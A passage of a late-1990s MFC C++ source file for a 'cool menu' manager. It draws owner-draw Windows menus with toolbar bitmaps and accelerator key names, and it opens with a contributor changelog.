// 1.04 17 Nov 1998 - Fixes debug assert when you maximize a view - Wang Jun
// window, then try to use the system menu for the view.
// 1.05 09 Jan 1998 - Seain B. Conover [sc@tarasoft.com] - Fix for virtual
// key names.
// 1.06 24 Feb 1999 - Michael Lange [michael.home@topdogg.com] - Fix for memory
// leak in CMyItemData structure, added a destructor that
// calls text.Empty().
// - Boris Kartamishev [kbv@omegasoftware.com] - Fix for resource
// ID bug.
// - Jeremy Horgan [jeremyhorgan@hotmail.com] - During
// accelerator key processing OnInitMenuPopup() calls
// ConvertMenu() which allocates a new CMyItemData for each
// menu item. This is memory is normally freed by a call to
// OnMenuSelect(), which is not called when processing
// accelerator keys. This results in a memory leak. This was
// fixed by modifying the ~CCoolMenuManager() destructor.
// 1.07 24 Feb 1999 - Koji MATSUNAMI [kmatsu@inse.co.jp] - Fixed problem with
// popup menus being drawn correctly as cool menus.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include "CoolMenu.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// helpers
void PLFillRect(CDC& dc, const CRect& rc, COLORREF color);
void PLDrawEmbossed(CDC& dc, CImageList& il, int i,
CPoint p, BOOL bColor=FALSE);
HBITMAP PLLoadSysColorBitmap(LPCTSTR lpResName, BOOL bMono=FALSE);
inline HBITMAP PLLoadSysColorBitmap(UINT nResID, BOOL bMono=FALSE) {
return PLLoadSysColorBitmap(MAKEINTRESOURCE(nResID), bMono);
}
// if you want to see extra TRACE diagnostics, set below to TRUE
BOOL CCoolMenuManager::bTRACE = FALSE;
#ifdef _DEBUG
#define CMTRACEFN \
CTraceFn __fooble; \
if (bTRACE) \
TRACE
#define CMTRACE \
if (bTRACE) \
TRACE
#else
#define CMTRACEFN TRACE
#define CMTRACE TRACE
#endif
// constants used for drawing
const CXGAP = 1; // num pixels between button and text
const CXTEXTMARGIN = 2; // num pixels after hilite to start text
const CXBUTTONMARGIN = 2; // num pixels wider button is than bitmap
const CYBUTTONMARGIN = 2; // ditto for height
// DrawText flags
const DT_MYSTANDARD = DT_SINGLELINE|DT_LEFT|DT_VCENTER;
// identifies owner-draw data as mine
const LONG MYITEMID = MAKELONG(MAKEWORD(_T('m'),_T('i')),MAKEWORD(_T('d'),_T('0')));
// private struct: one of these for each owner-draw menu item
struct CMyItemData {
long magicNum; // magic number identifying me
CString text; // item text
UINT fType; // original item type flags
int iButton; // index of button image in image list
CMyItemData() { magicNum = MYITEMID; }
~CMyItemData() { text.Empty(); }
BOOL IsMyItemData() { return magicNum == MYITEMID; }
};
IMPLEMENT_DYNAMIC(CCoolMenuManager, CSubclassWnd)
CCoolMenuManager::CCoolMenuManager()
{
m_szBitmap = m_szButton = CSize(0,0); // will compute later
m_bShowButtons = TRUE; // show buttons by default
m_bAutoAccel = TRUE; // auto accelerators by default
m_hAccel = NULL; // no accelerators loaded yet
m_pAccel = NULL; // no accelerators loaded yet
m_bUseDrawState = FALSE; // use DrawEmbossed by default
m_bDrawDisabledButtonsInColor = FALSE; // use color for disabled buttons
FixMFCDotBitmap();
}
CCoolMenuManager::~CCoolMenuManager()
{
// Jeremy Horgan [jeremyhorgan@hotmail.com]
while (!m_menuList.IsEmpty())
{
ConvertMenu(CMenu::FromHandle((HMENU)m_menuList.RemoveHead()),0,
FALSE, FALSE);
}
Destroy();
}
//////////////////
// Destroy everything. Called from destructor and Refresh.
//
void CCoolMenuManager::Destroy()
{
m_ilButtons.DeleteImageList();
m_mapIDtoImage.RemoveAll();
m_szBitmap = m_szButton = CSize(0,0);
m_arToolbarID.RemoveAll();
m_fontMenu.DeleteObject();
DestroyAccel();
}
/////////////////
// Destroy accelerators
//
void CCoolMenuManager::DestroyAccel()
{
m_mapIDtoAccel.RemoveAll(); // delete ACCEL entries in map
safe_delete(m_pAccel); // delete current accelerators
}
//////////////////
// Call this to install the menu manager. Install(NULL) to un-install.
//
void CCoolMenuManager::Install(CFrameWnd* pFrame)
{
ASSERT_VALID(pFrame);
m_pFrame = pFrame;
HookWindow(pFrame); // install message hook
}
//////////////////
// Load array of toolbar IDs.
//
BOOL CCoolMenuManager::LoadToolbars(const UINT* arID, int n)
{
ASSERT(arID);
BOOL bRet = TRUE;
for (int i=0; i<n; i++)
bRet |= LoadToolbar(arID[i]);
return bRet;
}
// structure of RT_TOOLBAR resource
struct TOOLBARDATA {
WORD wVersion; // version # should be 1
WORD wWidth; // width of one bitmap
WORD wHeight; // height of one bitmap
WORD wItemCount; // number of items
WORD items[1]; // array of command IDs, actual size is wItemCount
};
//////////////////
// Load one toolbar. Assumes bg color is gray.
//
// * add toolbar bitmap to image list
// * add each button ID to button map
//
BOOL CCoolMenuManager::LoadToolbar(UINT nIDToolbar)
{
// load bitmap
HBITMAP hbmToolbar = PLLoadSysColorBitmap(nIDToolbar);
if (!hbmToolbar) {
TRACE(_T("*** Can't load bitmap for toolbar %d!\n"), nIDToolbar);
return FALSE;
}
CBitmap bmToolbar;
bmToolbar.Attach(hbmToolbar); // destructor will detach & destroy
// load toolbar
LPTSTR lpResName = MAKEINTRESOURCE(nIDToolbar);
HINSTANCE hInst;
HRSRC hRsrc;
TOOLBARDATA* ptbd;
if ((hInst= AfxFindResourceHandle(lpResName, RT_TOOLBAR)) == NULL ||
(hRsrc= FindResource(hInst, lpResName, RT_TOOLBAR)) == NULL ||
(ptbd = (TOOLBARDATA*)LoadResource(hInst, hRsrc)) == NULL) {
TRACE(_T("*** Can't load toolbar %d!\n"), nIDToolbar);
return FALSE;
}
ASSERT(ptbd->wVersion==1);
// OK, I have the bitmap and toolbar.
CSize sz(ptbd->wWidth, ptbd->wHeight);
if (m_szBitmap.cx==0) {
// First toolbar: initialized bitmap/button sizes and create image list.
m_szBitmap = sz;
m_szButton = sz + CSize(CXBUTTONMARGIN<<1, CYBUTTONMARGIN<<1);
VERIFY(m_ilButtons.Create(sz.cx, sz.cy, ILC_MASK, 0, 10));
} else if (m_szBitmap != sz) {
// button sizes different -- oops
TRACE(_T("*** Toolbar %d button size differs!\n"), nIDToolbar);
return FALSE;
}
// I have a good toolbar: now add bitmap to the image list, and each
// command ID to m_mapIDtoImage array. Note that LoadSysColorBitmap will
// change gray -> COLOR_3DFACE, so use that for image list background.
//
int iNextImage = m_ilButtons.GetImageCount();
m_ilButtons.Add(&bmToolbar, GetSysColor(COLOR_3DFACE));
for (int i = 0; i < ptbd->wItemCount; i++) {
UINT nID = ptbd->items[i];
if (nID > 0) {
if (GetButtonIndex(nID) >= 0) {
TRACE(_T("*** Duplicate button ID %d ignored\n"), nID);
} else {
m_mapIDtoImage.SetAt(nID, (void*)iNextImage);
TRACE(_T("CCoolMenuManager::LoadToolbar(). Added Menu Id %d, Button Number %d\n"), nID, iNextImage-1);
}
// AB. 13-08-98. Since we've already added the entire toolbar to the imagelist
// we need to increment nNextImage even if we didn't add this button to
// m_mapIDtoImage.
iNextImage++;
}
}
m_arToolbarID.Add(nIDToolbar); // remember toolbar ID for Refresh
bmToolbar.Detach();
return TRUE; // success!
}
//////////////////
// Virtual CSubclassWnd window proc. All messages come here before frame
// window. Isn't it cool? Just like in the old days!
//
LRESULT CCoolMenuManager::WindowProc(UINT msg, WPARAM wp, LPARAM lp)
{
switch(msg) {
case WM_SYSCOLORCHANGE:
case WM_SETTINGCHANGE:
Refresh();
break;
case WM_MEASUREITEM:
if (OnMeasureItem((MEASUREITEMSTRUCT*)lp))
return TRUE; // handled
break;
case WM_DRAWITEM:
if (OnDrawItem((DRAWITEMSTRUCT*)lp))
return TRUE; // handled
break;
case WM_INITMENUPOPUP:
// Very important: must let frame window handle it first!
// Because if someone calls CCmdUI::SetText, MFC will change item to
// MFT_STRING, so I must change back to MFT_OWNERDRAW.
//
CSubclassWnd::WindowProc(msg, wp, lp);
OnInitMenuPopup(CMenu::FromHandle((HMENU)wp),
(UINT)LOWORD(lp), (BOOL)HIWORD(lp));
return 0;
case WM_MENUSELECT:
OnMenuSelect((UINT)LOWORD(wp), (UINT)HIWORD(wp), (HMENU)lp);
break;
case WM_MENUCHAR:
LRESULT lr = OnMenuChar((TCHAR)LOWORD(wp), (UINT)HIWORD(wp),
CMenu::FromHandle((HMENU)lp));
if (lr!=0)
return lr;
break;
}
return CSubclassWnd::WindowProc(msg, wp, lp);
}
//////////////////
// Refresh all colors, fonts, etc. For WM_SETTINGCHANGE, WM_SYSCOLORCHANGE.
//
void CCoolMenuManager::Refresh()
{
// first copy list (array) of toolbar IDs now loaded.
CUIntArray arToolbarID;
arToolbarID.Copy(m_arToolbarID);
// destroy everything
Destroy();
// re-load toolbars.
int nToolbars = arToolbarID.GetSize();
for (int i = 0; i < nToolbars; i++)
LoadToolbar(arToolbarID[i]);
}
//////////////////
// Get menu font, creating if needed
//
CFont* CCoolMenuManager::GetMenuFont()
{
if (!(HFONT)m_fontMenu) {
NONCLIENTMETRICS info;
info.cbSize = sizeof(info);
SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(info), &info, 0);
VERIFY(m_fontMenu.CreateFontIndirect(&info.lfMenuFont));
}
return &m_fontMenu;
}
//////////////////
// Handle WM_MEASUREITEM on behalf of frame: compute menu item size.
//
BOOL CCoolMenuManager::OnMeasureItem(LPMEASUREITEMSTRUCT lpms)
{
ASSERT(lpms);
CMyItemData* pmd = (CMyItemData*)lpms->itemData;
ASSERT(pmd);
if (lpms->CtlType != ODT_MENU || !pmd->IsMyItemData())
return FALSE; // not handled by me
if (pmd->fType & MFT_SEPARATOR) {
// separator: use half system height and zero width
lpms->itemHeight = GetSystemMetrics(SM_CYMENU)>>1;
lpms->itemWidth = 0;
} else {
// compute size of text: use DrawText with DT_CALCRECT
CWindowDC dc(NULL); // screen DC--I won't actually draw on it
CRect rcText(0,0,0,0);
CFont* pOldFont = dc.SelectObject(GetMenuFont());
dc.DrawText(pmd->text, rcText, DT_MYSTANDARD|DT_CALCRECT);
dc.SelectObject(pOldFont);
// height of item is just height of a standard menu item
lpms->itemHeight= max(GetSystemMetrics(SM_CYMENU), rcText.Height());
// width is width of text plus a bunch of stuff
int cx = rcText.Width(); // text width
cx += CXTEXTMARGIN<<1; // L/R margin for readability
cx += CXGAP; // space between button and menu text
cx += m_szButton.cx<<1; // button width (L=button; R=empty margin)
// whatever value I return in lpms->itemWidth, Windows will add the
// width of a menu checkmark, so I must subtract to defeat Windows. Argh.
//
cx -= GetSystemMetrics(SM_CXMENUCHECK)-1;
lpms->itemWidth = cx; // done deal
CMTRACE(_T("OnMeasureItem for '%s':\tw=%d h=%d\n"), (LPCTSTR)pmd->text,
lpms->itemWidth, lpms->itemHeight);
}
return TRUE; // handled
}
/////////////////
// Handle WM_DRAWITEM on behalf of frame. Note: in all that goes
// below, can't assume rcItem.left=0 because of multi-column menus!
//
BOOL CCoolMenuManager::OnDrawItem(LPDRAWITEMSTRUCT lpds)
{
ASSERT(lpds);
// Omar L Francisco
if (lpds->CtlType != ODT_MENU)
return FALSE;
// Omar L Francisco
CMyItemData* pmd = (CMyItemData*)lpds->itemData;
ASSERT(pmd);
if (!pmd->IsMyItemData())
return FALSE;
ASSERT(lpds->itemAction != ODA_FOCUS);
ASSERT(lpds->hDC);
CDC dc;
dc.Attach(lpds->hDC);
const CRect& rcItem = lpds->rcItem;
if (pmd->fType & MFT_SEPARATOR) {
// draw separator
CRect rc = rcItem; // copy rect
rc.top += rc.Height()>>1; // vertical center
dc.DrawEdge(&rc, EDGE_ETCHED, BF_TOP); // draw separator line
} else { // not a separator
CMTRACE(_T("OnDrawItem for '%s':\tw=%d h=%d\n"), (LPCTSTR)pmd->text,
rcItem.Width(), rcItem.Height());
BOOL bDisabled = lpds->itemState & ODS_GRAYED;
BOOL bSelected = lpds->itemState & ODS_SELECTED;
BOOL bChecked = lpds->itemState & ODS_CHECKED;
BOOL bHaveButn=FALSE;
// Paint button, or blank if none
CRect rcButn(rcItem.TopLeft(), m_szButton); // button rect
rcButn += CPoint(0, // center vertically
(rcItem.Height() - rcButn.Height())>>1 );
int iButton = pmd->iButton;
if (iButton >= 0) {
// this item has a button!
bHaveButn = TRUE;
// compute point to start drawing
CSize sz = rcButn.Size() - m_szBitmap;
sz.cx >>= 1;
sz.cy >>= 1;
CPoint p(rcButn.TopLeft() + sz);
// draw disabled or normal
if (!bDisabled) {
// normal: fill BG depending on state
PLFillRect(dc, rcButn, GetSysColor(
(bChecked && !bSelected) ? COLOR_3DLIGHT : COLOR_MENU));
// draw pushed-in or popped-out edge
if (bSelected || bChecked) {
CRect rc2 = rcButn;
dc.DrawEdge(rc2, bChecked ? BDR_SUNKENOUTER : BDR_RAISEDINNER,
BF_RECT);
}
// draw the button!
m_ilButtons.Draw(&dc, iButton, p, ILD_TRANSPARENT);
} else if (m_bUseDrawState) {
// use DrawState to draw disabled button: must convert to icon
HICON hIcon=m_ilButtons.ExtractIcon(iButton);
ASSERT(hIcon);
dc.DrawState(p, CSize(0,0), hIcon, DSS_DISABLED, (HBRUSH)NULL);
DestroyIcon(hIcon);
} else
// use DrawEmbossed to draw disabeld button, w/color flag
PLDrawEmbossed(dc, m_ilButtons, iButton, p,
m_bDrawDisabledButtonsInColor);
} else {
// no button: look for custom checked/unchecked bitmaps
CMenuItemInfo info;
info.fMask = MIIM_CHECKMARKS;
GetMenuItemInfo((HMENU)lpds->hwndItem,
lpds->itemID, MF_BYCOMMAND, &info);
if (bChecked || info.hbmpUnchecked) {
bHaveButn = Draw3DCheckmark(dc, rcButn, bSelected,
bChecked ? info.hbmpChecked : info.hbmpUnchecked);
}
}
// Done with button, now paint text. First do background if needed.
int cxButn = m_szButton.cx; // width of button
COLORREF colorBG = GetSysColor(bSelected ? COLOR_HIGHLIGHT : COLOR_MENU);
if (bSelected || lpds->itemAction==ODA_SELECT) {
// selected or selection state changed: paint text background
CRect rcBG = rcItem; // whole rectangle
if (bHaveButn) // if there's a button:
rcBG.left += cxButn + CXGAP; // don't paint over it!
PLFillRect(dc, rcBG, colorBG); // paint it!
}
// compute text rectangle and colors
CRect rcText = rcItem; // start w/whole item
rcText.left += cxButn + CXGAP + CXTEXTMARGIN; // left margin
rcText.right -= cxButn; // right margin
dc.SetBkMode(TRANSPARENT); // paint transparent text
COLORREF colorText = GetSysColor(bDisabled ? COLOR_GRAYTEXT :
bSelected ? COLOR_HIGHLIGHTTEXT : COLOR_MENUTEXT);
// Now paint menu item text. No need to select font,
// because windows sets it up before sending WM_DRAWITEM
//
if (bDisabled && (!bSelected || colorText == colorBG)) {
// disabled: draw hilite text shifted southeast 1 pixel for embossed
// look. Don't do it if item is selected, tho--unless text color same
// as menu highlight color. Got it?
//
DrawMenuText(dc, rcText + CPoint(1,1), pmd->text,
GetSysColor(COLOR_3DHILIGHT));
}
DrawMenuText(dc, rcText, pmd->text, colorText); // finally!
}
dc.Detach();
return TRUE; // handled
}
/////////////////
// Helper function to draw justified menu text. If the text contains a TAB,
// draw everything after the tab right-aligned
//
void CCoolMenuManager::DrawMenuText(CDC& dc, CRect rc, CString text,
COLORREF color)
{
CString left = text;
CString right;
int iTabPos = left.Find(_T('\t'));
if (iTabPos >= 0) {
right = left.Right(left.GetLength() - iTabPos - 1);
left = left.Left(iTabPos);
}
dc.SetTextColor(color);
dc.DrawText(left, &rc, DT_MYSTANDARD);
if (iTabPos > 0)
dc.DrawText(right, &rc, DT_MYSTANDARD|DT_RIGHT);
}
#ifndef OBM_CHECK
#define OBM_CHECK 32760 // from winuser.h
#endif
//////////////////
// Draw 3D checkmark
//
// dc device context to draw in
// rc rectangle to center bitmap in
// bSelected TRUE if button is also selected
// hbmCheck Checkmark bitmap to use, or NULL for default
//
BOOL CCoolMenuManager::Draw3DCheckmark(CDC& dc, const CRect& rc,
BOOL bSelected, HBITMAP hbmCheck)
{
// get checkmark bitmap if none, use Windows standard
if (!hbmCheck) {
CBitmap bm;
VERIFY(bm.LoadOEMBitmap(OBM_CHECK));
hbmCheck = (HBITMAP)bm.Detach();
ASSERT(hbmCheck);
}
// center bitmap in caller's rectangle
BITMAP bm;
::GetObject(hbmCheck, sizeof(bm), &bm);
int cx = bm.bmWidth;
int cy = bm.bmHeight;
CRect rcDest = rc;
CPoint p(0,0);
CSize delta(CPoint((rc.Width() - cx)/2, (rc.Height() - cy)/2));
if (rc.Width() > cx)
rcDest = CRect(rc.TopLeft() + delta, CSize(cx, cy));
else
p -= delta;
// select checkmark into memory DC
CDC memdc;
memdc.CreateCompatibleDC(&dc);
HBITMAP hOldBM = (HBITMAP)::SelectObject(memdc, hbmCheck);
// set BG color based on selected state
COLORREF colorOld =
dc.SetBkColor(GetSysColor(bSelected ? COLOR_MENU : COLOR_3DLIGHT));
dc.BitBlt(rcDest.left, rcDest.top, rcDest.Width(), rcDest.Height(),
&memdc, p.x, p.y, SRCCOPY);
dc.SetBkColor(colorOld);
::SelectObject(memdc, hOldBM); // restore
// draw pushed-in hilight.
if (rc.Width() > cx) // if room:
rcDest.InflateRect(1,1); // inflate checkmark by one pixel all around
dc.DrawEdge(&rcDest, BDR_SUNKENOUTER, BF_RECT);
return TRUE;
}
//////////////////
// Handle WM_INITMENUPOPUP on behalf of frame.
//
void CCoolMenuManager::OnInitMenuPopup(CMenu* pMenu,
UINT nIndex, BOOL bSysMenu)
{
if (m_bAutoAccel)
{
// check for new accels. If ASSERT bombs,
// you forgot to call Install.
ASSERT_VALID(m_pFrame);
HACCEL hAccel = m_pFrame->GetDefaultAccelerator();
if (hAccel != m_hAccel)
LoadAccel(hAccel);
// 12 Nov 1998 - Wang Jun - Fixes debug assert in system menu.
// Check if click system menu.
if (!bSysMenu) {
ConvertMenu(pMenu, nIndex, bSysMenu, m_bShowButtons);
}
}
ConvertMenu(pMenu, nIndex, bSysMenu, m_bShowButtons);
}
//////////////////
// Set the accelerator table used to generate automatic key
// names in menus. Delete previous table if any.
//
void CCoolMenuManager::LoadAccel(HACCEL hAccel)
{
DestroyAccel();
int nAccel;
if (hAccel && (nAccel = CopyAcceleratorTable(hAccel, NULL, 0)) > 0) {
m_pAccel = new ACCEL [nAccel];
ASSERT(m_pAccel);
CopyAcceleratorTable(hAccel, m_pAccel, nAccel);
// Now I have the accelerators. Look over list, linking each command
// ID with its ACCEL structure--i.e., m_mapIDtoAccel[nID] = ACCEL for
// that ID. If more than one ACCEL for a given command (command has more
// than one shortcut), fix up so ACCEL.cmd is offset of prev ACCEL
//
for (int i=0; i<nAccel; i++) {
ACCEL& ac = m_pAccel[i];
ACCEL* pAccel = GetAccel(ac.cmd);
m_mapIDtoAccel.SetAt(ac.cmd, &ac);
ac.cmd = pAccel ? &ac - pAccel : 0; // ac.cmd = offset of prev, or 0
}
}
}
//////////////////
// This rather gnarly function is used both to convert the menu from strings to
// owner-draw and vice versa. In either case, it also appends automagic
// accelerator key names to the menu items, if m_bAutoAccel is TRUE.
//
void CCoolMenuManager::ConvertMenu(CMenu* pMenu,
UINT nIndex, BOOL bSysMenu, BOOL bShowButtons)
{
ASSERT_VALID(pMenu);
CString sItemName;
UINT nItem = pMenu->GetMenuItemCount();
for (UINT i = 0; i < nItem; i++) {
// loop over each item in menu
// get menu item info
char itemname[256];
CMenuItemInfo info;
info.fMask = MIIM_SUBMENU | MIIM_DATA | MIIM_ID
| MIIM_TYPE;
info.dwTypeData = itemname;
info.cch = sizeof(itemname);
::GetMenuItemInfo(*pMenu, i, TRUE, &info);
CMyItemData* pmd = (CMyItemData*)info.dwItemData;
if (pmd && !pmd->IsMyItemData()) {
CMTRACE(_T("CCoolMenuManager: ignoring foreign owner-draw item\n"));
continue;
// owner-draw menu item isn't mine--leave it alone
}
// Koji MATSUNAMI 1999.2.23
//
if (bSysMenu && info.wID >= 0xF000) {
CMTRACE(_T("CCoolMenuManager: ignoring sys menu item\n"));
continue; // don't do for system menu commands
}
// now that I have the info, I will modify it
info.fMask = 0; // assume nothing to change
if (bShowButtons) {
// I'm showing buttons: convert to owner-draw
if (!(info.fType & MFT_OWNERDRAW)) {
// If not already owner-draw, make it so. NOTE: If app calls
// pCmdUI->SetText to change the text of a menu item, MFC will
// turn the item to MFT_STRING. So I must set it back to
// MFT_OWNERDRAW again. In this case, the menu item data (pmd)
// will still be there.
//
info.fType |= MFT_OWNERDRAW;
info.fMask |= MIIM_TYPE;
if (!pmd) { // if no item data:
pmd = new CMyItemData; // create one
ASSERT(pmd); // (I hope)
pmd->fType = info.fType; // handy when drawing
pmd->iButton = GetButtonIndex(info.wID);
info.dwItemData = (DWORD)pmd; // set in menu item data
info.fMask |= MIIM_DATA; // set item data
}
pmd->text = info.dwTypeData; // copy menu item string
}
// now add the menu to list of "converted" menus
HMENU hmenu = pMenu->GetSafeHmenu();
ASSERT(hmenu);
if (!m_menuList.Find(hmenu))
m_menuList.AddHead(hmenu);
// append accelerators to menu item name
if (m_pAccel && m_bAutoAccel)
AppendAccelName(pmd->text, info.wID);
} else {
// no buttons -- I'm converting to strings
if (info.fType & MFT_OWNERDRAW) { // if ownerdraw:
info.fType &= ~MFT_OWNERDRAW; // turn it off
info.fMask |= MIIM_TYPE; // change item type
ASSERT(pmd); // sanity check
sItemName = pmd->text; // save name before deleting pmd
} else // otherwise:
sItemName = info.dwTypeData; // use name from MENUITEMINFO
if (pmd) {
// NOTE: pmd (item data) could still be left hanging around even
// if MFT_OWNERDRAW is not set, in case mentioned above where app
// calls pCmdUI->SetText to set text of item and MFC sets the type
// to MFT_STRING.
//
info.dwItemData = NULL; // item data is NULL
info.fMask |= MIIM_DATA; // change it
safe_delete(pmd); // and item data too
}
// possibly add accelerator name
if (m_pAccel && m_bAutoAccel && AppendAccelName(sItemName, info.wID))
info.fMask |= MIIM_TYPE; // change item type (string)
if (info.fMask & MIIM_TYPE) {
// if setting name, copy name from CString to buffer and set cch
strncpy(itemname, sItemName, sizeof(itemname));
info.dwTypeData = itemname;
info.cch = sItemName.GetLength();
}
}
// if after all the above, there is anything to change, change it
if (info.fMask) {
CMTRACE(_T("Converting '%s' to %s\n"), itemname,
(info.fType & MFT_OWNERDRAW) ? _T("OWNERDRAW") : _T("STRING"));
SetMenuItemInfo(*pMenu, i, TRUE, &info);
}
}
}
//////////////////
// User typed a char into menu. Look for item with & preceeding the char typed.
//
LRESULT CCoolMenuManager::OnMenuChar(UINT nChar, UINT nFlags, CMenu* pMenu)
{
ASSERT_VALID(pMenu);
UINT iCurrentItem = (UINT)-1; // guaranteed higher than any command ID
CUIntArray arItemsMatched; // items that match the character typed
UINT nItem = pMenu->GetMenuItemCount();
for (UINT i=0; i< nItem; i++) {
// get menu info
CMenuItemInfo info;
info.fMask = MIIM_DATA | MIIM_TYPE | MIIM_STATE;
::GetMenuItemInfo(*pMenu, i, TRUE, &info);
CMyItemData* pmd = (CMyItemData*)info.dwItemData;
if ((info.fType & MFT_OWNERDRAW) && pmd && pmd->IsMyItemData()) {
CString& text = pmd->text;
int iAmpersand = text.Find(_T('&'));
if (iAmpersand >=0 && toupper(nChar)==toupper(text[iAmpersand+1]))
arItemsMatched.Add(i);
}
if (info.fState & MFS_HILITE)
iCurrentItem = i; // note index of current item
}
// arItemsMatched now contains indexes of items that match the char typed.
//
// * if none: beep
// * if one: execute it
// * if more than one: hilite next
//
UINT nFound = arItemsMatched.GetSize();
if (nFound == 0)
return 0;
else if (nFound==1)
return MAKELONG(arItemsMatched[0], MNC_EXECUTE);
// more than one found--return 1st one past current selected item;
UINT iSelect = 0;
for (i=0; i < nFound; i++) {
if (arItemsMatched[i] > iCurrentItem) {
iSelect = i;
break;
}
}
return MAKELONG(arItemsMatched[iSelect], MNC_SELECT);
}
//////////////////
// Handle WM_MENUSELECT: check for menu closed
//
void CCoolMenuManager::OnMenuSelect(UINT nItemID, UINT nFlags, HMENU hSysMenu)
{
if (hSysMenu==NULL && nFlags==0xFFFF) {
// Windows has closed the menu: restore all menus to original state
while (!m_menuList.IsEmpty()) {
ConvertMenu(CMenu::FromHandle((HMENU)m_menuList.RemoveHead()),
0, FALSE, FALSE);
}
}
}
// fix for virtual key names - Seain Conover (1999/01/09)
CString CCoolMenuManager::GetVirtualKeyName( const CString strVirtKey ) const
{
CString strResult;
if ( strVirtKey == _T("Num 7")) { strResult = _T("Home"); }
else if ( strVirtKey == _T("Num 1")) { strResult = _T("End"); }
else if ( strVirtKey == _T("Num 9")) { strResult = _T("PgUp"); }
else if ( strVirtKey == _T("Num 3")) { strResult = _T("PgDn"); }
else if ( strVirtKey == _T("Num 0")) { strResult = _T("Ins"); }
else if ( strVirtKey == _T("Num Del")) { strResult = _T("Del"); }
else
{
strResult = strVirtKey;
}
return strResult;
}
//////////////////
// Append the name of accelerator for given command ID to menu string.
// sItemName is menu item name, which will have the accelerator appended.
// For example, might call with sItemName = "File &Open" and return with
// sItemName = "File &Open\tCtrl-O". Returns BOOL = whether string changed.
//
BOOL CCoolMenuManager::AppendAccelName(CString& sItemName, UINT nID)
{
int iTabPos = sItemName.Find(_T('\t'));
if (iTabPos > 0)
sItemName = sItemName.Left(iTabPos);
BOOL bFound = FALSE;
for (ACCEL* pa = GetAccel(nID); pa; pa -= pa->cmd) {
sItemName += bFound ? _T(", ") : _T("\t");
if (pa->fVirt & FALT) sItemName += _T("Alt+");
if (pa->fVirt & FCONTROL) sItemName += _T("Ctrl+");
if (pa->fVirt & FSHIFT) sItemName += _T("Shift+");
if (pa->fVirt & FVIRTKEY) {
TCHAR keyname[64];
UINT vkey = MapVirtualKey(pa->key, 0)<<16;
GetKeyNameText(vkey, keyname, sizeof(keyname));
// Seain Conover (1999/01/09)
sItemName += GetVirtualKeyName( keyname );
} else
sItemName += (char)pa->key;
bFound = TRUE;
if (pa->cmd == 0)
break;
}
return bFound;
}
//////////////////
// This function fixes MFC's diseased dot bitmap used for
// "radio-style" menu items (CCmdUI->SetRadio), which is completely
// wrong if the menu font is large.
//
void CCoolMenuManager::FixMFCDotBitmap()
{
HBITMAP hbmDot = GetMFCDotBitmap();
if (hbmDot) {
// Draw a centered dot of appropriate size
BITMAP bm;
::GetObject(hbmDot, sizeof(bm), &bm);
CRect rcDot(0,0, bm.bmWidth, bm.bmHeight);
rcDot.DeflateRect((bm.bmWidth>>1)-2, (bm.bmHeight>>1)-2);
CWindowDC dcScreen(NULL);
CDC memdc;
memdc.CreateCompatibleDC(&dcScreen);
int nSave = memdc.SaveDC();
memdc.SelectStockObject(BLACK_PEN);
memdc.SelectStockObject(BLACK_BRUSH);
memdc.SelectObject((HGDIOBJ)hbmDot);
memdc.PatBlt(0, 0, bm.bmWidth, bm.bmHeight, WHITENESS);
memdc.Ellipse(&rcDot);
memdc.RestoreDC(nSave);
}
}
//////////////////
// This function gets MFC's dot bitmap.
//
HBITMAP CCoolMenuManager::GetMFCDotBitmap()
{
// The bitmap is stored in afxData.hbmMenuDot, but afxData is MFC-private,
// so the only way to get it is create a menu, set the radio check,
// and then see what bitmap MFC set in the menu item.
CMenu menu;
VERIFY(menu.CreateMenu());
VERIFY(menu.AppendMenu(MFT_STRING, 0, (LPCTSTR)NULL));
CCmdUI cui;
cui.m_pMenu = &menu;
cui.m_nIndex = 0;
cui.m_nIndexMax = 1;
cui.SetRadio(TRUE);
CMenuItemInfo info;
info.fMask = MIIM_CHECKMARKS;
GetMenuItemInfo(menu, 0, MF_BYPOSITION, &info);
HBITMAP hbmDot = info.hbmpChecked;
menu.DestroyMenu();
return hbmDot;
}
// Peter Tewkesbury
BOOL CCoolMenuManager::AddSingleBitmap(UINT nBitmapID, UINT n, UINT *nID)
{
// load bitmap
HBITMAP hbmBitmap = (HBITMAP)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(nBitmapID), IMAGE_BITMAP, 0, 0, LR_LOADMAP3DCOLORS);
ASSERT(hbmBitmap);
if (!hbmBitmap) {
TRACE(_T("*** Can't load bitmap %d!\n"), nBitmapID);
return FALSE;
}
// Assign Bitmap to CBitmap
CBitmap bmBitmap;
bmBitmap.Attach(hbmBitmap); // destructor will detach & destroy
// OK, I have the bitmap - Check that Bitmaps are correct size.
if (m_szBitmap.cx==0)
{
// First toolbar: initialized bitmap/button sizes and create image list.
CSize sz(16,15);
m_szBitmap = sz;
m_szButton = sz + CSize(CXBUTTONMARGIN<<1, CYBUTTONMARGIN<<1);
VERIFY(m_ilButtons.Create(sz.cx, sz.cy, ILC_MASK, 0, 10));
}
// Add Bitmap to ImageList
int iNextImage = m_ilButtons.GetImageCount();
m_ilButtons.Add(&bmBitmap, GetSysColor(COLOR_3DFACE));
// Add ID to Map.
for(UINT i=0;i<n;i++)
{
if (nID[i] > 0)
{
if (GetButtonIndex(nID[i]) >= 0)
{
TRACE(_T("*** Duplicate button ID %d ignored\n"), nID[i]);
}
else m_mapIDtoImage.SetAt(nID[i], (void*)iNextImage++);
}
}
// All Done.
return TRUE;
}
////////////////////////////////////////////////////////////////
// Helper functions
//////////////////
// Load a bitmap, converting the standard colors.
// Calls AfxLoadSysColorBitmap to do the work.
//
// RGB(0x00, 0x00, 0x00) (black) --> COLOR_BTNTEXT
// RGB(0x80, 0x80, 0x80) (dark gray) --> COLOR_3DSHADOW
// RGB(0xC0, 0xC0, 0xC0) (gray) --> COLOR_3DFACE
// RGB(0xFF, 0xFF, 0xFF) (white) --> COLOR_3DHILIGHT
//
HBITMAP PLLoadSysColorBitmap(LPCTSTR lpResName, BOOL bMono)
{
HINSTANCE hInst = AfxFindResourceHandle(lpResName, RT_BITMAP);
HRSRC hRsrc = ::FindResource(hInst, lpResName, RT_BITMAP);
if (hRsrc == NULL)
return NULL;
return AfxLoadSysColorBitmap(hInst, hRsrc, bMono);
}
//////////////////
// Shorthand to fill a rectangle with a solid color.
//
void PLFillRect(CDC& dc, const CRect& rc, COLORREF color)
{
